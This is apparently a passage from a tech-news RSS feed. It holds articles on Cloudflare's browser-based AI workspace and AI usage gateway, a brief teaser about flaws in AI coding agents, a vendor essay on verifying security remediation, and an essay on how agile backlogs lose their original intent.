<p class="wp-block-paragraph">Microsoft has marketed the combination of its Azure, Entra, Fabric, Windows, and Microsoft 365 offerings as an operating system of sorts, but hasn’t pulled all the pieces into a common brand, Levy said. And Google’s Gemini, Workspace, Vertex AI, and Cloud Run are “circling similar territory.”</p>



<p class="wp-block-paragraph">But, he noted, Cloudflare OS is “more cohesively bundled” and infrastructure-focused, offering a single pane of glass platform for buyers worried about stitching together otherwise disparate AI-aware networking pieces. The company recognizes that AI introduces new architectural realities such as inference and model routing “over and above” traditional OS core competencies.</p>



<p class="wp-block-paragraph">“While competing offerings generally leave the infrastructure heavy lifting to enterprise decision-makers, Cloudflare is marketing itself as a single-source vendor, which potentially frees IT planners from having to integrate all the AI pieces on their own,” Levy said.</p>



<p class="wp-block-paragraph">An infrastructure-first, application-agnostic approach means Cloudflare OS can coexist with whatever AI applications already exist in an enterprise, he said. It will “play nice” with OpenAI, Anthropic, Google, Microsoft, Meta, or open source layers, allowing employees to begin working in familiar workflows after sign-in.</p>



<p class="wp-block-paragraph">“Its open-source architecture also minimizes the potential for vendor lock-in as enterprises gradually figure out how to evolve their stacks to align with new AI-era realities,” Levy said.</p>



<h2 class="wp-block-heading">Managing identities and budgets for both humans and AI</h2>



<p class="wp-block-paragraph">As AI agents emerge across the enterprise, tracking their use can be challenging, causing problems from both a security and a spend standpoint. Along with Cloudflare OS, the company has launched a way to address this issue with its new <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-gives-companies-full-visibility-to-audit-and-analyze-ai-use/" target="_blank" rel="noreferrer noopener">Identity-Aware AI Gateway</a>, now in beta.</p>



<p class="wp-block-paragraph">Also integrated with Access, the offering gives admins visibility into what users (both human and AI) are requesting from AI models. It allows security teams to set up custom domains in front of their gateways and replace shared API keys by integrating with their identity provider, like Okta or Entra, and ZTNA infrastructure, Cloudflare explained.</p>



<p class="wp-block-paragraph">Every request is tied to Access-verified identities, and enterprises can filter each user’s logs, analytics, and spend. IT teams can track redundancies, limit usage rates, and apply filters that strip out employee names, passwords, and other sensitive data before requests go to outside model providers.</p>



<p class="wp-block-paragraph">A companion feature, AI Spend, tracks every user’s behavior over time to create a baseline of normal AI usage. When spending deviates from that pattern, the system alerts the IT team.</p>



<p class="wp-block-paragraph">A new tab, User Insights, tracks cost and identifies over-spend caused by activities such as low cache-hit rates or oversized context windows. The capability scores sessions and compares them against account history using a 95th percentile session cost over the previous 30 days, Cloudflare product managers <a href="https://blog.cloudflare.com/author/ming-lu/" target="_blank" rel="noreferrer noopener">Ming Lu</a>, <a href="https://blog.cloudflare.com/author/kenny/" target="_blank" rel="noreferrer noopener">Kenny Johnson</a>, and <a href="https://blog.cloudflare.com/author/ayush/" target="_blank" rel="noreferrer noopener">Ayush Kumar</a> explain in a <a href="https://blog.cloudflare.com/identity-aware-ai-gateway/" target="_blank" rel="noreferrer noopener">blog post</a>. Anything above 2x an account’s 95th percentile is a “strong candidate for anomalous behavior.”</p>



<p class="wp-block-paragraph">For instance, one Cloudflare customer had an employee who left a rogue AI session running, generating a $30K bill. “User Insights helped them identify the problem and shut off access before the problem was further exacerbated,” Kozlov said.</p>



<p class="wp-block-paragraph">Cloudflare is also building prompt classification functionality that sorts requests into categories such as coding or writing. This can help enterprises understand what AI is being used for.</p>



<p class="wp-block-paragraph">“Once business traffic is separated from everything else, personal use becomes visible,” the project managers explained. “From the outside, someone running a side hustle on company time and someone quietly moving data out through a model look the same. Telling them apart is central to catching insider risk.”</p>



<h2 class="wp-block-heading">Looking at the bigger picture</h2>



<p class="wp-block-paragraph">Identity-Aware AI Gateway and AI Spend address the visibility problem that has dogged so many recent AI deployments where enterprises failed to monitor usage, Levy noted. Projects “crashed and burned” as users unwittingly blew through token allocations.</p>



<p class="wp-block-paragraph">These platforms provide single-point visibility into what is being used, how it’s being used, and where the potential lies for raising the productivity bar, he said. They overlay with existing models; in doing so, they enhance security with more precise control over resource allocations, and via automated anonymization protocols that prevent inadvertent sharing of sensitive data.</p>



<p class="wp-block-paragraph">Ultimately, he said, vendors who free IT from having to independently assemble the pieces of their own AI implementations, and who assist them with answers to AI-specific questions, “will gain advantage over vendors that aren’t looking at the bigger picture.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare wants to provide the operating system for the AI-first enterprise]]></title>
<description><![CDATA[Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.



The company this week announced Cloudflare OS, which connects AI agents, enterprise data and context, internal systems, and ...]]></description>
<link>https://tsecurity.de/de/3709211/it-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709211/it-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</guid>
<pubDate>Fri, 07 Aug 2026 02:35:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.</p>



<p class="wp-block-paragraph">The company this week announced <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-os-is-the-first-ai-workspace-built-around-how-companies-actually-work/" target="_blank" rel="noreferrer noopener">Cloudflare OS</a>, which connects AI agents, enterprise data and context, internal systems, and workflows together in one secure workspace. It is open source and browser-based, sparing companies the need to build all-new infrastructure.</p>



<p class="wp-block-paragraph">The OS is launching alongside several other new security, identity, spending, and user insight tools that Cloudflare has built for the <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html" target="_blank">AI-based workplace</a>.</p>



<p class="wp-block-paragraph">“Cloudflare OS isn’t a traditional desktop OS,” said <a href="https://www.linkedin.com/in/ritakozlov/" target="_blank" rel="noreferrer noopener">Rita Kozlov</a>, VP of product at Cloudflare. “It reimagines the workplace computing environment for AI.”</p>



<h2 class="wp-block-heading">Open source OS runs in a browser</h2>



<p class="wp-block-paragraph">Cloudflare OS serves as a secure, AI-equipped workspace that is plugged into internal company systems. Available now through Cloudflare’s open source repository, it is accessible directly in a browser, and runs inside an enterprise’s Cloudflare account.</p>



<p class="wp-block-paragraph">“It is a browser-based workspace that begins with a conversation,” Kozlov explained. Users can ask an agent to research, create slides, spreadsheets, and documents, build full-stack apps, or automate workflows without the need for a terminal. Those outputs are then shareable, but kept in isolated databases with access controls.</p>



<p class="wp-block-paragraph">Enterprises will soon be able to access the OS directly through Cloudflare or via a “select group” of partners that will build tailored offerings on Cloudflare’s architecture, the company says. Because it is open source, organizational processes, internal system connections, and context aren’t locked into a vendor product or AI model provider. Customers can use whatever models they choose.</p>



<p class="wp-block-paragraph">Cloudflare OS is built on Cloudflare Workers, <a href="https://www.infoworld.com/article/4149869/cloudflare-launches-dynamic-workers-for-ai-agent-execution.html" target="_blank">Dynamic Workers</a>, Durable Objects, and Access, the company’s zero trust network access (ZTNA) tool that verifies every user and request. Agents start with zero permissions by default and are only granted access to tools required for a specific task. Organizations configure their own Access policies, models, branding, skills, and integrations, Kozlov explained.</p>



<p class="wp-block-paragraph">Governed connectors known as gatekeepers give admins control over what AI can see, what it can change, and when the system needs human sign-off. They can also control budgets, set rate limits, and delegate tasks to different models.</p>



<p class="wp-block-paragraph">“Because <a href="https://www.infoworld.com/article/4165857/are-we-ready-to-give-ai-agents-the-keys-to-the-cloud-cloudflare-thinks-so.html" target="_blank">agents act on people’s behalf</a> and produce work others can access and modify, they require a new security model,” Kozlov said. Thus, Cloudflare OS tracks the resources an agent requires so the right access controls follow its work when it is shared.</p>



<p class="wp-block-paragraph">Cloudflare initially built the OS for internal use, and employees “across every team” use it daily. Kozlov estimated that, over the last 30 days, internal users have used it to create more than 4,000 apps, automations, and tools. Over that same period, she claimed, the company’s sales team saved an estimated 10,000 hours by automating previously manual tasks like territory planning and proposal creation.</p>



<p class="wp-block-paragraph">“We open sourced Cloudflare OS so any organization can build ‘Your Company OS,’” Kozlov said. Open source is critical because “you cannot put your company into software you do not own. Organizations need to be able to inspect the platform, customize it, connect their own systems, and make it their own,” she explained.</p>



<h2 class="wp-block-heading">A more cohesive bundle</h2>



<p class="wp-block-paragraph">Cloudflare deserves credit for packaging Cloudflare OS as an operating system, noted tech analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>.</p>



<p class="wp-block-paragraph">“This very much is not Windows, macOS, or Linux, and it isn’t an operating system by its common definition,” he said. “But Cloudflare’s use of this terminology implies familiarity to enterprise IT buyers.”</p>



<p class="wp-block-paragraph">This makes for an easier discussion as enterprises struggle to understand how to best incorporate AI-related platforms and workflows into infrastructure that wasn’t initially designed for it.</p>



<p class="wp-block-paragraph">Microsoft has marketed the combination of its Azure, Entra, Fabric, Windows, and Microsoft 365 offerings as an operating system of sorts, but hasn’t pulled all the pieces into a common brand, Levy said. And Google’s Gemini, Workspace, Vertex AI, and Cloud Run are “circling similar territory.”</p>



<p class="wp-block-paragraph">But, he noted, Cloudflare OS is “more cohesively bundled” and infrastructure-focused, offering a single pane of glass platform for buyers worried about stitching together otherwise disparate AI-aware networking pieces. The company recognizes that AI introduces new architectural realities such as inference and model routing “over and above” traditional OS core competencies.</p>



<p class="wp-block-paragraph">“While competing offerings generally leave the infrastructure heavy lifting to enterprise decision-makers, Cloudflare is marketing itself as a single-source vendor, which potentially frees IT planners from having to integrate all the AI pieces on their own,” Levy said.</p>



<p class="wp-block-paragraph">An infrastructure-first, application-agnostic approach means Cloudflare OS can coexist with whatever AI applications already exist in an enterprise, he said. It will “play nice” with OpenAI, Anthropic, Google, Microsoft, Meta, or open source layers, allowing employees to begin working in familiar workflows after sign-in.</p>



<p class="wp-block-paragraph">“Its open-source architecture also minimizes the potential for vendor lock-in as enterprises gradually figure out how to evolve their stacks to align with new AI-era realities,” Levy said.</p>



<h2 class="wp-block-heading">Managing identities and budgets for both humans and AI</h2>



<p class="wp-block-paragraph">As AI agents emerge across the enterprise, tracking their use can be challenging, causing problems from both a security and a spend standpoint. Along with Cloudflare OS, the company has launched a way to address this issue with its new <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-gives-companies-full-visibility-to-audit-and-analyze-ai-use/" target="_blank" rel="noreferrer noopener">Identity-Aware AI Gateway</a>, now in beta.</p>



<p class="wp-block-paragraph">Also integrated with Access, the offering gives admins visibility into what users (both human and AI) are requesting from AI models. It allows security teams to set up custom domains in front of their gateways and replace shared API keys by integrating with their identity provider, like Okta or Entra, and ZTNA infrastructure, Cloudflare explained.</p>



<p class="wp-block-paragraph">Every request is tied to Access-verified identities, and enterprises can filter each user’s logs, analytics, and spend. IT teams can track redundancies, limit usage rates, and apply filters that strip out employee names, passwords, and other sensitive data before requests go to outside model providers.</p>



<p class="wp-block-paragraph">A companion feature, AI Spend, tracks every user’s behavior over time to create a baseline of normal AI usage. When spending deviates from that pattern, the system alerts the IT team.</p>



<p class="wp-block-paragraph">A new tab, User Insights, tracks cost and identifies over-spend caused by activities such as low cache-hit rates or oversized context windows. The capability scores sessions and compares them against account history using a 95th percentile session cost over the previous 30 days, Cloudflare product managers <a href="https://blog.cloudflare.com/author/ming-lu/" target="_blank" rel="noreferrer noopener">Ming Lu</a>, <a href="https://blog.cloudflare.com/author/kenny/" target="_blank" rel="noreferrer noopener">Kenny Johnson</a>, and <a href="https://blog.cloudflare.com/author/ayush/" target="_blank" rel="noreferrer noopener">Ayush Kumar</a> explain in a <a href="https://blog.cloudflare.com/identity-aware-ai-gateway/" target="_blank" rel="noreferrer noopener">blog post</a>. Anything above 2x an account’s 95th percentile is a “strong candidate for anomalous behavior.”</p>



<p class="wp-block-paragraph">For instance, one Cloudflare customer had an employee who left a rogue AI session running, generating a $30K bill. “User Insights helped them identify the problem and shut off access before the problem was further exacerbated,” Kozlov said.</p>



<p class="wp-block-paragraph">Cloudflare is also building prompt classification functionality that sorts requests into categories such as coding or writing. This can help enterprises understand what AI is being used for.</p>



<p class="wp-block-paragraph">“Once business traffic is separated from everything else, personal use becomes visible,” the project managers explained. “From the outside, someone running a side hustle on company time and someone quietly moving data out through a model look the same. Telling them apart is central to catching insider risk.”</p>



<h2 class="wp-block-heading">Looking at the bigger picture</h2>



<p class="wp-block-paragraph">Identity-Aware AI Gateway and AI Spend address the visibility problem that has dogged so many recent AI deployments where enterprises failed to monitor usage, Levy noted. Projects “crashed and burned” as users unwittingly blew through token allocations.</p>



<p class="wp-block-paragraph">These platforms provide single-point visibility into what is being used, how it’s being used, and where the potential lies for raising the productivity bar, he said. They overlay with existing models; in doing so, they enhance security with more precise control over resource allocations, and via automated anonymization protocols that prevent inadvertent sharing of sensitive data.</p>



<p class="wp-block-paragraph">Ultimately, he said, vendors who free IT from having to independently assemble the pieces of their own AI implementations, and who assist them with answers to AI-specific questions, “will gain advantage over vendors that aren’t looking at the bigger picture.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Flaws in Anthropic, Google, and OpenAI’s Coding Agents Enable RCE and Supply Chain Attacks]]></title>
<description><![CDATA[A repeatable vulnerability pattern across AI coding agents from Anthropic, Google, and OpenAI that allows attackers to achieve remote code execution, steal API credentials, and compromise software supply chains, all without any privileged access. The flaws were discovered by Novee security Resear...]]></description>
<link>https://tsecurity.de/de/3708717/it-security-nachrichten/critical-flaws-in-anthropic-google-and-openais-coding-agents-enable-rce-and-supply-chain-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708717/it-security-nachrichten/critical-flaws-in-anthropic-google-and-openais-coding-agents-enable-rce-and-supply-chain-attacks/</guid>
<pubDate>Thu, 06 Aug 2026 19:08:21 +0200</pubDate>
<content:encoded><![CDATA[<p>A repeatable vulnerability pattern across AI coding agents from Anthropic, Google, and OpenAI that allows attackers to achieve remote code execution, steal API credentials, and compromise software supply chains, all without any privileged access. The flaws were discovered by Novee security Researcher Elad Meged testing each vendor’s default configuration on their own public repositories, meaning […]</p>
<p>The post <a href="https://cybersecuritynews.com/critical-flaws-in-ai-coding-agents/">Critical Flaws in Anthropic, Google, and OpenAI’s Coding Agents Enable RCE and Supply Chain Attacks</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Verification closes the loop]]></title>
<description><![CDATA[Most organizations assume remediation reduces risk.



It’s a reasonable assumption. A vulnerability is identified, a patch is applied, the scanner comes back clean, and the ticket is closed. The workflow is complete, the metrics improve, and the issue is considered resolved.



The problem is th...]]></description>
<link>https://tsecurity.de/de/3708067/it-security-nachrichten/verification-closes-the-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708067/it-security-nachrichten/verification-closes-the-loop/</guid>
<pubDate>Thu, 06 Aug 2026 14:12:09 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations assume remediation reduces risk.</p>



<p class="wp-block-paragraph">It’s a reasonable assumption. A vulnerability is identified, a patch is applied, the scanner comes back clean, and the ticket is closed. The workflow is complete, the metrics improve, and the issue is considered resolved.</p>



<p class="wp-block-paragraph">The problem is that attackers don’t care about remediation workflows. They care about outcomes.</p>



<p class="wp-block-paragraph">A scanner may no longer report the vulnerability, but those activities do not matter if an attacker can still achieve the same objective through the same attack path, excessive privileges, or a different weakness that was never addressed in the first place.</p>



<p class="wp-block-paragraph">Many security programs measure whether work was completed, but they don’t always measure whether risk was actually reduced.</p>



<h2 class="wp-block-heading">The assumption that gets teams in trouble</h2>



<p class="wp-block-paragraph">The cybersecurity industry has become very good at measuring mean time to remediate, patch compliance, SLA attainment, and ticket closure rates. Those metrics have value, but none of them answer the question an attacker is asking.</p>



<p class="wp-block-paragraph"><strong>Can I still get in?</strong></p>



<p class="wp-block-paragraph">In practice, that’s where the assumption breaks down. Remediation activity and risk reduction are often treated as the same thing, even though they measure very different outcomes. One measures whether work was performed. The other measures whether the conditions that made an attack possible still exist.</p>



<p class="wp-block-paragraph">Our recent <a href="https://horizon3.ai/downloads/research/the-state-of-assumed-security/">survey</a> of 750 security leaders and practitioners revealed a consistent pattern. Only 30% of CISOs reported that their organizations patch and then test to ensure risk has actually been remediated. Nearly half patch and rescan with a vulnerability scanner instead.</p>



<p class="wp-block-paragraph">Security teams are working hard, remediating vulnerabilities, deploying controls, and closing tickets every day. <strong>The issue is verification.</strong> A patch may remove a vulnerability and a rescan may confirm the patch was applied, but neither proves an attacker can no longer succeed.</p>



<p class="wp-block-paragraph">Security teams don’t get credit for completing work, they get credit for reducing risk. And the only way to know whether risk was actually reduced is to verify it.</p>



<h2 class="wp-block-heading">Verification changes the conversation</h2>



<p class="wp-block-paragraph">Most security teams don’t struggle to find vulnerabilities. They struggle to verify that their remediation efforts actually worked.</p>



<p class="wp-block-paragraph">That was the challenge facing a <a href="https://horizon3.ai/intelligence/blogs/patch-tuesday-to-pentest-wednesday-reducing-security-surprises/" target="_blank" rel="noreferrer noopener">global investment firm</a> operating across 18 locations. They already had vulnerability data, security assessments, and remediation workflows. What they lacked was certainty. They wanted to understand which weaknesses represented real risk, whether their fixes were reducing exposure, and how to avoid being surprised by an issue that should have been discovered earlier.</p>



<p class="wp-block-paragraph">An early internal penetration test (pentest) revealed 85 weaknesses. By itself, that number wasn’t particularly alarming. The real risk emerged when those flaws enabled 251 impacts, including domain compromise, compromised credentials, host compromise, ransomware exposure, and sensitive data exposure. The weaknesses themselves were only part of the story. The real risk emerged when those weaknesses were chained together the way an attacker would chain them together.</p>



<p class="wp-block-paragraph">While many organizations would stop there, this team retested. That decision changed the conversation from remediation activity to measurable risk reduction. A follow-up, same-scope pentest showed that impacts had dropped from 251 to zero. Compromised credentials fell from 52 to zero. Compromised hosts fell from 67 to zero. Cracked Active Directory passwords dropped from 40 to zero.</p>



<h2 class="wp-block-heading">That’s what verification looks like.</h2>



<p class="wp-block-paragraph">Not a closed ticket, but concrete evidence that the outcomes an attacker cared about are no longer achievable.</p>



<p class="wp-block-paragraph">Why verification remains elusive</p>



<p class="wp-block-paragraph">In our survey, 22% of practitioners identified verification of fixes as their biggest cybersecurity challenge going into 2026, while another 21% pointed to demonstrating measurable risk reduction. Both ranked ahead of budget constraints and talent shortages.</p>



<p class="wp-block-paragraph">That gap persists because confirmation is harder than remediation. Applying a patch is a discrete action. Proving that an attacker can no longer achieve the same objective is harder. It requires testing and verifying that the attack path is gone, not simply assuming it disappeared because a vulnerability no longer appears in a scan report.</p>



<p class="wp-block-paragraph">That’s where many organizations fall back on proxies. A vulnerability scanner reports that: the affected version is gone; a ticket is closed; a dashboard shows improving metrics. Those signals are useful, but they are still indicators of activity. They are not proof that exposure was reduced.</p>



<p class="wp-block-paragraph">That gap matters because attackers measure success by achieving objectives, not by confirming that a version number changed. Defenders need the same standard.</p>



<p class="wp-block-paragraph">That’s the difference between remediation and verification.</p>



<h2 class="wp-block-heading">What mature security programs do differently</h2>



<p class="wp-block-paragraph">The organizations that make the greatest progress aren’t necessarily the ones that find the most vulnerabilities. They’re the ones that become disciplined about proving whether their actions reduced risk.</p>



<p class="wp-block-paragraph">That shift changes the conversation. Instead of asking: “Did we patch it?” they ask: “Can an attacker still achieve the same objective?”</p>



<p class="wp-block-paragraph">Instead of measuring success by ticket closure, they measure success by whether the outcomes attackers care about are still possible.</p>



<p class="wp-block-paragraph">You can see that mindset across many of our Pentest Wednesday™ stories. <a href="https://horizon3.ai/intelligence/blogs/from-patch-tuesday-to-pentest-wednesday-continuous-validation-in-a-regulated-environment/" target="_blank" rel="noreferrer noopener">Financial services organizations</a> built continuous verification into their operations because leadership needed confidence that remediation remained effective over time. <a href="https://horizon3.ai/intelligence/blogs/from-patch-tuesday-to-pentest-wednesday-proof-that-redefined-security-for-a-manufacturer/" target="_blank" rel="noreferrer noopener">Manufacturers</a> and <a href="https://horizon3.ai/intelligence/blogs/internal-pentest-hidden-attack-paths/" target="_blank" rel="noreferrer noopener">defense industrial base organizations</a> used repeat testing to ensure attack paths stayed closed as environments evolved.</p>



<p class="wp-block-paragraph">The common thread isn’t the industry or the technology, it’s the discipline to keep going after the fix:</p>



<ul class="wp-block-list">
<li><strong>Validate the exposure.</strong></li>



<li><strong>Fix the exposure.</strong></li>



<li><strong>Verify the exposure is gone.</strong></li>



<li><strong>Repeat.</strong></li>
</ul>



<p class="wp-block-paragraph">Mature organizations build <em>continuous verification</em> into their operations because leadership needs to trust that remediation remains effective as the network evolves.</p>



<p class="wp-block-paragraph">The future belongs to verification</p>



<p class="wp-block-paragraph">The cybersecurity industry is entering another period of rapid change. AI is accelerating prioritization, remediation, reporting, and analysis. Security teams will find vulnerabilities faster, process findings faster, and automate more workflows than ever before.</p>



<p class="wp-block-paragraph">Validating exposure and fixing it are essential, but neither closes the loop. Verification closes the loop. Confidence alone will not stop an attacker, but repeatable verification will.</p>



<p class="wp-block-paragraph">Get a <a href="https://horizon3.ai/contact-us/schedule-demo/" target="_blank" rel="noreferrer noopener">demo</a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Structural agile: Why fast delivery quietly loses its meaning]]></title>
<description><![CDATA[Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the ...]]></description>
<link>https://tsecurity.de/de/3707974/it-security-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707974/it-security-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</guid>
<pubDate>Thu, 06 Aug 2026 13:30:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the end, moved anyway. By edit 26 someone renamed the whole thing, and the sentence that explained why the work existed in the first place didn’t survive the paste. 26 edits, several hundred hours of delivery behind them, and nobody left who can say what the money was for.</p>



<p class="wp-block-paragraph">Nobody deleted that reason on purpose. That’s what makes this so hard to see.</p>



<p class="wp-block-paragraph">I’ve been shuttling between the people who fund technology work and the teams who deliver it for a couple of decades now, and something has always struck me as odd: the backlog is probably the only important document in the enterprise that gets edited every day and remembers nothing. Contracts have version control and signatures. Financial statements have audit trails. Even architecture, in mature shops, has decision records. But the artifact that actually steers what hundreds of people build week after week? It has a title, a status and a description that mutates until the original intent becomes archaeology.</p>



<p class="wp-block-paragraph">The most expensive failures I’ve seen were all fast. The teams shipped and shipped, and somewhere along the way the work stopped meaning what everyone assumed it still meant. Nobody slowed down long enough to notice.</p>



<h2 class="wp-block-heading">One problem, two lenses</h2>



<p class="wp-block-paragraph">Strategy and delivery look at the same work through very different mental models. On one side, leaders talk in outcomes, intent and value; they worry about whether the original justification for the investment still holds months later. On the other side, teams think in iterations, flow and momentum, and they worry about keeping complex programs moving in small, manageable steps. Both lenses are legitimate, and in my experience both sides generally believe they’re the ones doing everything right.</p>



<p class="wp-block-paragraph">The disagreement between them is never loud. Strategy quietly assumes the logic will remain constant across every sprint and every decision. Delivery quietly assumes the strategic reasoning will naturally update itself based on what gets learned along the way. There’s nothing wrong with either assumption on its own. But in the absence of a structural bridge between them, every program gradually accumulates small half-measures and shifted meanings that nobody registers until it’s too late.</p>



<p class="wp-block-paragraph">The evidence on how badly intent travels is humbling. Donald Sull and his colleagues, in a multi-year study of strategy execution, found that <a href="https://hbr.org/2015/03/why-strategy-execution-unravelsand-what-to-do-about-it">only half of middle managers can name any of their company’s top five priorities</a>. Those are the managers. Now imagine the epic, eleven edits later.</p>



<p class="wp-block-paragraph">Let me be fair to <a href="https://agilemanifesto.org/">agile</a> here, because agile is not the villain. It does exactly what it says on the tin: it helps teams learn quickly and adjust to what they discover, and <a href="https://hbr.org/2018/05/agile-at-scale">that speed is a genuine strength</a>. The problem is that organizations blur the line between two kinds of change. Some of it is genuine learning: teams discover real behaviors, markets shift, leaders sharpen their thinking. And some of it is erosion, the slow loss of rationale that nobody actually decided and nobody can trace back to a witting choice. From the outside, the two are indistinguishable. They show up the same way in the tooling: movement in the backlog, shifting priorities, even working software. Only one of them stays anchored to the reason the money was spent.</p>



<p class="wp-block-paragraph">Most organizations have no instrument for telling these two apart. Which means they’re flying at full speed without knowing whether they’re navigating or just moving.</p>



<h2 class="wp-block-heading">The pattern we keep seeing</h2>



<h3 class="wp-block-heading">Agile in style, not in substance</h3>



<p class="wp-block-paragraph">The board gets moved every day, stand-ups start on time and retrospectives produce long lists of things to improve. Then you ask why a specific feature exists, what it’s actually meant to change, and the room gets quiet. The rituals persist while the substance underneath them slowly thins out. Teams keep closing tasks, and somewhere along the way they shed the shared sense of purpose that made the tasks worth doing.</p>



<h3 class="wp-block-heading">Velocity becomes a proxy for value</h3>



<p class="wp-block-paragraph">A smooth sprint demo can hide a deeper problem, because progress toward delivery and progress toward outcomes are two different measurements, and only one of them is on the wall. I’ve seen features that were stable, polished and warmly received in the demo, and that contributed absolutely nothing to the decision they were supposed to improve. The pace was real enough; whether any of it mattered took months to find out. And your delivery metrics can be excellent, genuinely excellent, while every one of these patterns is running underneath them.</p>



<p class="wp-block-paragraph">This is not a niche affliction, by the way. Pendo analyzed feature usage across hundreds of software products and found that <a href="https://www.pendo.io/resources/the-2019-feature-adoption-report/">80% of features are rarely or never used</a>. Built at full velocity, shipped into silence.</p>



<h3 class="wp-block-heading">Product owners absorb pressure instead of defending logic</h3>



<p class="wp-block-paragraph">The PO is supposed to hold the thread, to protect the reasoning behind the work when everyone else is pushing on it. In practice, many find themselves wedged between demand and delivery, forced into a permanent state of reactive prioritization. Over time they stop challenging requests. Then they stop defending the logic behind decisions. Eventually they stop framing choices around outcomes at all, and the backlog, which should be a strategic instrument, turns into the place where everything gets dumped because nobody has the space left to ask what actually belongs there.</p>



<h3 class="wp-block-heading">Backlog churn masks strategic drift</h3>



<p class="wp-block-paragraph">Items get revisited, split, recast and reprioritized as everyone works to keep momentum going, and from a distance it can all look like reasonable adaptation. But when the connection to intent is severed, all that motion begins to dissolve into static. Work keeps getting passed around, the board stays busy and the program veers off course without producing a single alarming signal, because busy is what everyone was looking for.</p>



<h3 class="wp-block-heading">Every quarter is a reset</h3>



<p class="wp-block-paragraph">New OKRs arrive. A fresh wave of leadership messaging follows. Sometimes the team gets reshuffled too. With each round, a little of the shared context that held everything together quietly slips away. Epics get new names, stories get rewritten, priorities rearrange themselves almost by accident. The organization keeps rebooting itself without ever asking what it left behind in the reset.</p>



<p class="wp-block-paragraph">Taken one at a time, each of these patterns is understandable, even forgivable. Together they produce a program that looks healthy from every angle while it quietly hollows out the meaning behind the work.</p>



<h2 class="wp-block-heading">Why this keeps happening, and why it’s about to get worse</h2>



<p class="wp-block-paragraph">Big programs tend to assume that intent will simply carry itself forward as the work passes through teams, decisions and iterations. It won’t. Intent doesn’t carry itself. If nobody actively preserves and updates the reasoning, it starts to loosen and fray, quietly and almost politely, one story, one trade-off, one shift in priority at a time.</p>



<p class="wp-block-paragraph">The structural cause is a speed mismatch that most governance was never designed for. The delivery system evolves in hours; the organization’s memory of why updates in quarters, if at all. In between those two clocks, thousands of micro-decisions reshape what the work means, far faster than anyone captures the reasoning behind them.</p>



<p class="wp-block-paragraph">Now add what’s happening in 2026. AI agents inside the delivery tooling can already <a href="https://support.atlassian.com/rovo/docs/agents/">organize, create and edit backlog items</a> on a team’s behalf. Atlassian’s own customers describe agents that <a href="https://www.atlassian.com/software/jira/ai">generate requirements, break them into epics and stories and take delegated work like a teammate</a>, and these capabilities now ship inside the standard Jira plans that most enterprises already pay for. I’m not against any of this; some of it is genuinely useful. But notice what it means for our problem. Every one of those operations is an edit to a document that has no memory. Backlog amnesia at human speed was survivable. Painful, but survivable, because humans forget slowly. Amnesia at machine speed is a different animal altogether. The ratio of motion to memory, already unhealthy in most organizations, is about to go vertical.</p>



<p class="wp-block-paragraph">If your backlog can’t remember why an item exists after a human rewrote it a few times, think about what happens when an agent grooms it continuously.</p>



<h2 class="wp-block-heading">What to do about it</h2>



<p class="wp-block-paragraph">The countermeasures I use are deliberately small. None of them adds a ceremony, a tool, or a governance layer. They simply orient the practices teams already run toward one job: keeping the reasoning alive while the work moves. Together, they form the discipline I call Structural Agile.</p>



<ul class="wp-block-list">
<li><strong>Start with the outcome. </strong>Before an epic or major story enters the backlog, three questions, every time: What behavior are we trying to shift? How will we know if that behavior changes? What signals will confirm success after release? If the room can’t answer, the work waits, because items that lack outcome clarity tend to drift first and drift fastest.</li>



<li><strong>Elevate the PO. </strong>Position the product owner as the carrier of outcome logic, with an explicit mandate to preserve rationale, flag trade-offs that erode intent and track deferred items together with the reasoning behind them. And be realistic about the limits, because many POs inherit chaotic backlogs, rotate mid-stream, or simply lack the authority to push back on stakeholders. The rule I give teams is simple: if the PO can’t carry the logic, someone must: a coach prompting context checks, an architect recording the reasoning behind technical trade-offs, an analyst keeping the outcome picture current. Build logic stewardship into the structure. Left to personality, it leaves with the person.</li>



